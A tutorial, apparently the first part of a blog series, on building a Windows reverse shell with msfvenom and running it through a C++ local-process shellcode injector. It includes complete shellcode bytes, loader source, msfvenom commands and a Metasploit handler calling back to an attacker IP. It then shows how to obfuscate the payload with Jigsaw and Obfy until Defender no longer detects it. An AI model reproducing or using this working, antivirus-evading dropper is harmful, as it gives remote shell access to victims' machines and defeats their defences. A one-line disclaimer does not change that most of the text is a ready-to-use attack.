Table of Contents

, , , , ,

Shellcode Injection Part 1

In this series of articles, we look at shellcode, how to inject it into processes and some techniques for obfuscating binary files. In the first part, we look at how to inject shellcode from a local process. ausführt.1) In addition, we disguise the program so that Defender no longer recognises it as a threat.

You can find all the required files in the repository

Generate shellcode

Attention!

The techniques and methods in this article are for learning purposes only. Misuse is punishable!

We generate the shellcode with msfvenom and use the following parameters:

Parameter Description
-p - Payload x86 Reverse Shell
LHOST IP of the attacker
LPORT Listening port of the attacker
-b - Bad Chars We have to filter out special characters, as they make the shellcode unusable
-e - Encode Shellcode We encode our shellcode
-i - Iterations Specifies the number of encoding operations
-f - Format The output should be in C format
> shell.c Save to the file shell.c
msfvenom -p windows/shell_reverse_tcp LHOST=172.23.61.130 LPORT=445 -e x86/shikata_ga_nai -i 8 -b '\x00\x0d\x0a' -f c > shell.c



C++ Injector

We create a new C++ project and insert the shellcode. We also need the size of the bytes. We take this from the msfvenom output.

local-process-injection.cpp
#include <stdio.h>
#include <Windows.h>
 
//shell.c
unsigned const char payload[] = 
"\xd9\xe9\xbb\x1b\x2c\xe5\xd6\xd9\x74\x24\xf4\x5a\x2b\xc9"
"\xb1\x81\x83\xc2\x04\x31\x5a\x14\x03\x5a\x0f\xce\x10\x6e"
"\xce\xb6\xb5\x28\xcb\x04\x90\x43\xcf\x7e\x78\x9f\xc6\xce"
"\x05\x5c\x33\xcc\xcb\x21\xd3\x2e\x6f\xb6\xd0\x7d\xda\xd1"
"\xaf\xa7\x1c\xd8\xfb\xa2\x94\xd6\xb1\xf3\x25\xe5\x3e\xdb"
"\x7d\x58\xb1\x51\x2d\x07\x37\x6d\x9b\x0b\xbe\x1c\x57\xcb"
"\x7f\x5d\x32\xd5\xd1\x71\x14\x2e\x07\xef\x45\x69\x0c\x3e"
"\x8d\xca\xb1\x7d\xc4\x07\x4f\xf7\xd8\xe8\x37\x33\xeb\x67"
"\xd8\x97\xb6\xf5\xbf\xde\xb3\xd9\x6a\xf1\x94\x7b\x68\x21"
"\xcc\xab\xda\xcd\xd1\x43\xef\x4e\x2a\x1d\xd1\xb7\xec\x24"
"\x62\x0b\xc5\x61\x48\xe2\x7c\x9e\x54\x9f\x2d\x8c\x38\x09"
"\x23\x13\xb2\x6d\x6f\xe8\xdc\xad\xe3\x99\x14\x89\xca\x07"
"\x67\xf2\x09\xdb\x2e\x38\x9f\x2c\xc4\x12\xf5\x18\x94\xf5"
"\xb1\xed\x84\x6f\xfe\xbb\x23\xf4\xae\x10\x62\x2f\x63\x2b"
"\x6a\x3c\x22\x7a\xd3\x96\x15\x99\xb0\x62\x38\xbe\x93\x1e"
"\x72\xcc\xe3\xef\xa9\x9a\xaa\xc9\xda\xd5\x09\xed\x4f\xb2"
"\x61\x18\x48\x9c\x0b\x45\xcb\xab\xaf\x91\x20\xc2\x66\x39"
"\xac\x66\xd2\x21\x83\x13\xb4\x12\xcb\x39\x55\x20\x19\xff"
"\xa3\x8b\xaa\x6e\x3e\x90\x31\x49\x19\x74\x7f\x1f\x89\xfe"
"\x89\xdd\x65\xa2\x5b\xa0\x13\xe4\x6b\x18\x99\xde\xfc\x63"
"\x9e\x9b\x7b\x6d\x65\x6d\xf4\x5b\x39\x08\x89\xb1\x85\xd8"
"\x6a\x29\x88\x5a\xdd\x14\x8e\xb9\xc0\xae\x63\x89\xbe\x13"
"\xa6\xf3\xc2\x19\xa8\x41\x5d\xf7\x11\x02\x45\xd3\xec\xa1"
"\x88\x13\x57\xb7\x0b\x7d\x79\x5a\x0c\x60\xde\x6b\x6c\x4c"
"\x61\xe3\x74\x88\xbd\x6a\xda\x43\xca\xb8\xe4\x07\xd4\x5a"
"\x92\x04\xd9\x18\xb0\x57\x8d\xf3\x87\x65\x56\x06\x21\xb3"
"\x02\x9b\xc4\x87\x56\xed\x6b\xef\xbb\x9f\x21\xbf\x7f\x12"
"\x4d\x3b\xdc\xf7\x4c\xc6\xf5\xe7\x30\x05\x87\x7f\x7c\x19"
"\x72\x86\x62\xc4\x7a\x8f\xd6\xc9\x19\xe8\x6e\xa7\x54\x04"
"\xd9\xbf\x94\x69\xeb\x41\x64\xac\xd5\xe4\x47\xfe\x5d\x2d"
"\x90\xf9\xea\x18\x62\x76\x01\xe6\xc3\xe5\xd6\xfa\x32\x22"
"\xc0\xf6\x86\x5f\x16\x3a\x4a\x1e\x59\xe3\x0c\x4b\x69\xd2"
"\x6d\x80\xef\x45\x49\xc2\x36\xe5\x78\x72\x55\xf3\x4d\xbe"
"\xbb\xac\x88\xcc\x8d\xcb\xc1\x6f\x40\xd7\x54\x7e\xa2\x5d"
"\xcc\x6a\xdc\x99\x59\x67\x84\xb4\x05\xba\x33\x43\x48\xb5"
"\x9b\x22\xa7\xc6\x06\xf6\x36\x3f\x4b\x29\xf8\x66\xa8\xfb"
"\x55\x5f\x07\xa4\xfd\x5f\x98\x69\x71\xcc\xb6\x2f\x6e\x9d"
"\xf1\xe6\x99\x70\x04\x05\x47\xb3\x1e\xe3\xb7\xa9\x6f\x42"
"\xb1\xda\xeb\x37\x61\x5e\x20\x23";
 
//size is given by msfvenom after shellcode creation
size_t size = 540;
 
int main(int argc, char** argv) { 
	char* code;    
	printf("#nosoc - expecttheunexpected");
	code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE); 
	memcpy(code, payload, size); 
	((void(*)())code)();
	return(0);
}



Analyse shellcode

After compiling, we load inject.exe in the debugger and take a close look at the shellcode. This gives us a rough overview of how it works.

Shellcode in the debugger



Prepare Metasploit

Now we start a handler in Metasploit that accepts the reverse shell.

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lport 445
lport => 445
msf6 exploit(multi/handler) > set lhost 172.23.61.130
lhost => 172.23.61.130
msf6 exploit(multi/handler) > exploit
 
[*] Started reverse TCP handler on 172.23.61.130:445



Execute shellcode

We now start Inject.exeand look at the output in Metasploit and the process details on the victim machine.

Reverse shell on the attacker machine
TCP connection from Inject.exe



Under the Defender radar

Inject.exe is of course easily recognised by anti-virus software. We therefore have to disguise the shellcode. We do this with the tool jigsaw 2) tool and the Obfy framework.

Cloaking shellcode - Jigsaw

First we create the shellcode in raw format:

msfvenom -p windows/shell_reverse_tcp LHOST=172.23.61.130 LPORT=445 -e x86/shikata_ga_nai -i 8 -b '\x00\x0d\x0a' -f raw > shell.raw

Then we pass this to Jigsaw:

python3 jigsaw.py shell.raw

and get a file with C++ code.

unsigned char jigsaw[540] = { 0x32, 0x87, 0xbe, 0x4b, 0x6c, 0xad, 0xc2, 0xd3, 0xd5, 0x21, 0x1c, 0x57, 0x93, 0xae, 0x39, 0x2c, 0x27, 0xce, 0xeb, 0x99, 0xa8, 0xf4, 0xbf, 0x14, 0x31, 0x2a,
...
401, 459, 65, 118, 356, 42, 182, 220 };
 
 
int calc_len = 540;
unsigned char calc_payload[540] = { 0x00 };
int position;
 
// Reconstruct the payload
for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) {
	position = positions[idx];
	calc_payload[position] = jigsaw[idx];
}
Inject.cpp
#include <stdio.h>
#include <Windows.h>
 
size_t size = 540;
 
unsigned char jigsaw[540] = { 0x32, 0x87, 0xbe, 0x4b, 0x6c, 0xad, 0xc2, 0xd3, 0xd5, 0x21, 0x1c, 0x57, 0x93, 0xae, 0x39, 0x2c, 0x27, 0xce, 0xeb, 0x99, 0xa8, 0xf4, 0xbf, 0x14, 0x31, 0x2a, 0xc5, 0xeb, 0x48, 0x11, 0xd8, 0x49, 0xf0, 0x93, 0x5b, 0xb9, 0x69, 0xf8, 0x73, 0x80, 0xe4, 0x3f, 0xa6, 0xa6, 0x3a, 0xf5, 0x56, 0x12, 0x7c, 0xe4, 0x72, 0xbb, 0x13, 0x5b, 0xc5, 0x40, 0xf0, 0x01, 0x6f, 0x0b, 0x35, 0xc2, 0x1c, 0x2d, 0x76, 0xeb, 0x9e, 0xd8, 0xd6, 0x39, 0x7c, 0x61, 0x7e, 0xc7, 0x16, 0x69, 0x0e, 0x1c, 0x78, 0xb0, 0xa3, 0x36, 0x5b, 0x6f, 0xbc, 0xa0, 0x2e, 0x63, 0xe4, 0x7f, 0xea, 0x13, 0x2c, 0xaa, 0x6c, 0xbf, 0xdb, 0x4a, 0x69, 0xaa, 0x4d, 0x71, 0xd6, 0x4c, 0x61, 0x65, 0x59, 0xc3, 0x5f, 0x43, 0xf3, 0x94, 0xdf, 0x59, 0x8d, 0xbb, 0x25, 0x8f, 0x6f, 0x17, 0x1d, 0xd7, 0xa1, 0xef, 0x9b, 0xe0, 0x31, 0x15, 0x36, 0xe2, 0x5c, 0xa5, 0x94, 0x60, 0x01, 0x2b, 0x08, 0x01, 0x9f, 0xa1, 0x14, 0x2b, 0x86, 0x1f, 0xbf, 0xd1, 0x0f, 0xbf, 0x03, 0x28, 0xc1, 0x10, 0x4d, 0x66, 0x32, 0xd0, 0xcb, 0x4e, 0x34, 0xdf, 0xeb, 0x99, 0xf2, 0x14, 0x3f, 0x4c, 0xf8, 0xed, 0xc1, 0xbd, 0x0e, 0x9b, 0xc1, 0x57, 0xd5, 0x1d, 0x01, 0xf5, 0x79, 0xd1, 0xc4, 0xea, 0xc0, 0xcf, 0x0c, 0xea, 0x05, 0x9d, 0x8c, 0x8d, 0x9a, 0x2d, 0x94, 0x5b, 0x05, 0xde, 0x37, 0xa6, 0x17, 0x80, 0x07, 0x83, 0x6a, 0x2d, 0xe4, 0xd5, 0xc3, 0x85, 0x71, 0x2a, 0xa4, 0x3d, 0xf6, 0x5c, 0xc8, 0x6c, 0x6a, 0x86, 0xf3, 0x5c, 0x67, 0x4d, 0xdc, 0x11, 0xff, 0x81, 0xce, 0x3b, 0x9c, 0x4d, 0x98, 0xe8, 0xd4, 0x6a, 0x3e, 0x4b, 0x51, 0xd5, 0x4c, 0xfc, 0xe4, 0x8e, 0x6a, 0xc1, 0x63, 0x54, 0x7f, 0x61, 0xa4, 0x42, 0x60, 0xb5, 0x4d, 0x92, 0xd9, 0x08, 0x22, 0x23, 0xbe, 0x82, 0x9f, 0x4c, 0xeb, 0x8c, 0x3a, 0x6e, 0x88, 0xd0, 0x5a, 0xe0, 0xae, 0x42, 0x38, 0x4d, 0x31, 0xd0, 0xe6, 0x72, 0x54, 0xb3, 0x2b, 0x8d, 0x2f, 0xca, 0x38, 0x92, 0xe6, 0x38, 0xfd, 0xa1, 0x9c, 0x70, 0xd0, 0xe5, 0xb5, 0xff, 0xe1, 0x0e, 0x81, 0x4a, 0xc5, 0x67, 0x57, 0x3a, 0x33, 0xa0, 0xc8, 0x7f, 0xe6, 0x6c, 0xf1, 0x77, 0x3d, 0xdd, 0x63, 0xa1, 0xf9, 0x4f, 0x99, 0xf1, 0x8a, 0xb3, 0x60, 0xf6, 0xae, 0x86, 0xd5, 0x3e, 0x61, 0xc4, 0x93, 0xd9, 0x2d, 0xbe, 0xe2, 0xf0, 0xec, 0x13, 0x85, 0x91, 0x8a, 0x95, 0x37, 0x9f, 0x41, 0x43, 0x3c, 0xda, 0x81, 0xb3, 0xf5, 0xa9, 0x5f, 0x3e, 0x06, 0x0e, 0x47, 0x03, 0x5e, 0x28, 0xec, 0x54, 0x9f, 0x95, 0xca, 0x59, 0xee, 0x9a, 0xd2, 0xe5, 0xa4, 0x32, 0xcf, 0xb9, 0xe5, 0xd8, 0x78, 0xe8, 0xb1, 0xa5, 0xee, 0xe5, 0x4e, 0x2c, 0x8b, 0xc3, 0x5b, 0x7d, 0x23, 0x18, 0x64, 0xda, 0x56, 0x59, 0xa9, 0x95, 0x6f, 0x9e, 0x9b, 0x3c, 0xcb, 0x2a, 0x54, 0x6a, 0x5c, 0x25, 0xf6, 0xc1, 0xf9, 0x5c, 0xab, 0xe5, 0xd0, 0x8b, 0xdd, 0xd0, 0x74, 0xda, 0x68, 0x09, 0x52, 0x25, 0xd0, 0xa9, 0xd1, 0xba, 0x9f, 0xcd, 0x41, 0x54, 0x15, 0x12, 0xba, 0xd2, 0xd5, 0xdd, 0x35, 0x76, 0xa8, 0x5a, 0xdc, 0xf0, 0xdb, 0xbd, 0x32, 0x47, 0x6d, 0x4b, 0x89, 0x17, 0xa1, 0x80, 0x46, 0x65, 0x51, 0x4b, 0xca, 0xeb, 0xa4, 0x0c, 0xd9, 0x3c, 0xf4, 0x1e, 0x39, 0xd4, 0x87, 0x91, 0x91, 0xbd, 0x75, 0x24, 0x7a, 0x7b, 0x79, 0x25, 0x7e, 0x2d, 0xc9, 0xd4, 0x73, 0x47, 0x05, 0xe4, 0xed, 0x24, 0x10, 0xbe, 0x15, 0xa5, 0xb0, 0x3a, 0x43, 0x9e, 0xc3, 0xef, 0x5d, 0x57, 0xfe, 0xeb, 0x75, 0x85, 0x11, 0xe7, 0x50, 0xc7, 0x9c, 0x6f, 0xe1, 0x7b, 0x63, 0xcb, 0xbe, 0x17, 0xeb, 0x1e, 0x34, 0x91, 0xf9, 0x50, 0xe5, 0x28, 0x74, 0x9f, 0x3e, 0xe0, 0xe8, 0x83, 0x36, 0xc0, 0x08, 0xcd, 0x8f, 0xa7, 0xb8, 0x32, 0xf4, 0x01, 0x96, 0xd2 };
 
int positions[540] = { 105, 216, 295, 137, 269, 55, 488, 354, 384, 2, 398, 471, 219, 72, 377, 123, 197, 188, 243, 161, 169, 79, 290, 454, 387, 527, 480, 412, 178, 329, 267, 441, 492, 416, 103, 196, 83, 275, 539, 26, 391, 125, 203, 59, 153, 76, 349, 402, 202, 142, 68, 1, 18, 288, 106, 62, 291, 281, 107, 365, 35, 223, 358, 117, 503, 427, 506, 181, 63, 408, 525, 176, 313, 23, 417, 311, 195, 89, 122, 522, 494, 170, 152, 20, 304, 227, 150, 29, 460, 319, 228, 312, 376, 36, 256, 24, 37, 320, 518, 514, 355, 443, 43, 64, 128, 483, 470, 462, 11, 224, 212, 75, 345, 465, 115, 110, 138, 380, 190, 333, 323, 501, 149, 455, 226, 209, 16, 361, 508, 54, 139, 232, 373, 370, 236, 207, 394, 238, 34, 532, 395, 531, 489, 177, 415, 453, 495, 155, 302, 318, 218, 330, 116, 242, 435, 346, 334, 154, 449, 475, 104, 464, 450, 292, 307, 126, 71, 482, 509, 258, 353, 348, 45, 372, 463, 485, 505, 414, 276, 86, 6, 298, 383, 347, 201, 409, 498, 478, 366, 331, 88, 134, 324, 95, 111, 397, 425, 51, 259, 315, 102, 22, 337, 237, 241, 82, 526, 444, 278, 120, 456, 273, 167, 419, 251, 484, 270, 423, 77, 211, 184, 375, 156, 473, 466, 15, 519, 407, 185, 92, 91, 523, 221, 49, 371, 338, 277, 516, 250, 143, 406, 147, 225, 515, 70, 252, 193, 367, 486, 504, 434, 440, 437, 350, 271, 282, 205, 166, 511, 248, 191, 404, 369, 279, 424, 336, 266, 90, 474, 533, 260, 389, 235, 151, 368, 457, 164, 436, 140, 468, 335, 386, 325, 213, 360, 41, 189, 538, 310, 200, 157, 421, 93, 287, 112, 280, 289, 528, 305, 73, 100, 231, 517, 165, 12, 136, 210, 496, 314, 244, 422, 58, 97, 426, 481, 96, 420, 530, 253, 439, 382, 309, 127, 46, 33, 113, 513, 390, 4, 222, 520, 27, 472, 284, 296, 192, 268, 21, 357, 306, 497, 130, 98, 163, 67, 80, 317, 467, 249, 99, 274, 493, 234, 438, 392, 217, 262, 19, 146, 160, 133, 124, 430, 114, 159, 186, 374, 174, 403, 411, 299, 447, 499, 158, 378, 148, 381, 458, 14, 78, 272, 264, 442, 109, 429, 255, 171, 246, 57, 162, 500, 535, 339, 198, 48, 84, 17, 145, 74, 431, 534, 294, 477, 461, 87, 206, 131, 328, 53, 388, 168, 293, 490, 359, 5, 362, 8, 129, 32, 239, 400, 510, 326, 183, 240, 405, 285, 173, 340, 135, 364, 50, 172, 537, 180, 132, 214, 141, 507, 47, 199, 343, 432, 108, 521, 229, 451, 28, 247, 101, 187, 303, 69, 418, 352, 342, 179, 265, 233, 61, 7, 31, 10, 263, 44, 283, 39, 410, 300, 0, 230, 9, 38, 445, 121, 119, 175, 399, 13, 208, 297, 479, 413, 81, 446, 316, 428, 452, 448, 385, 30, 322, 512, 487, 25, 286, 94, 66, 341, 476, 3, 351, 433, 469, 245, 52, 301, 396, 60, 40, 215, 332, 524, 344, 502, 363, 261, 491, 85, 536, 204, 308, 393, 529, 327, 254, 56, 321, 257, 194, 379, 144, 401, 459, 65, 118, 356, 42, 182, 220 };
 
 
int calc_len = 540;
unsigned char calc_payload[540] = { 0x00 };
int position;
 
int main(int argc, char** argv) { 
 
	char* code;    
 
	printf("#nosoc - expecttheunexpected");
 
	// Reconstruct the payload
	for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) {
		position = positions[idx];
		calc_payload[position] = jigsaw[idx];
	}
	code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE); 
 
	memcpy(code, calc_payload, size); 
 
	((void(*)())code)();
 
 
	return(0);
}

However, Jigsaw alone is not enough at this point, as Defender still recognises the file.



Obfy - Obfuscation during compilation

Here we can use the so-called template metaprogramming. Here, source code files are generated during the compilation process, which make the binary file look different with each process. 3)4)

To do this, we download Obfy to include the header file in our project and set the macro instructions to start and end the code obfuscation.

  1. #include <stdio.h>
  2. #include <Windows.h>
  3. #include "instr.h"
  4.  
  5. size_t size = 540;
  6.  
  7. unsigned char jigsaw[540] = { ... };
  8.  
  9. int positions[540] = { ... };
  10.  
  11. int calc_len = 540;
  12. unsigned char calc_payload[540] = { 0x00 };
  13. int position;
  14.  
  15. int main(int argc, char** argv) {
  16.  
  17. char* code;
  18.  
  19. printf("#nosoc - expecttheunexpected");
  20.  
  21. // Reconstruct the payload
  22. OBF_BEGIN
  23. for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) {
  24. position = positions[idx];
  25. calc_payload[position] = jigsaw[idx];
  26. }
  27. OBF_END
  28. code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE);
  29.  
  30. memcpy(code, calc_payload, size);
  31.  
  32. ((void(*)())code)();
  33.  
  34.  
  35. return(0);
  36. }



Result

We compile our code and check with ThreatCheckto check whether our file is recognised.

No threats were found
The execution is still working



Repository

git clone https://github.com/psycore8/nosoc-shellcode



Outlook

In part 2 we will deal with injecting the shellcode into a remote process.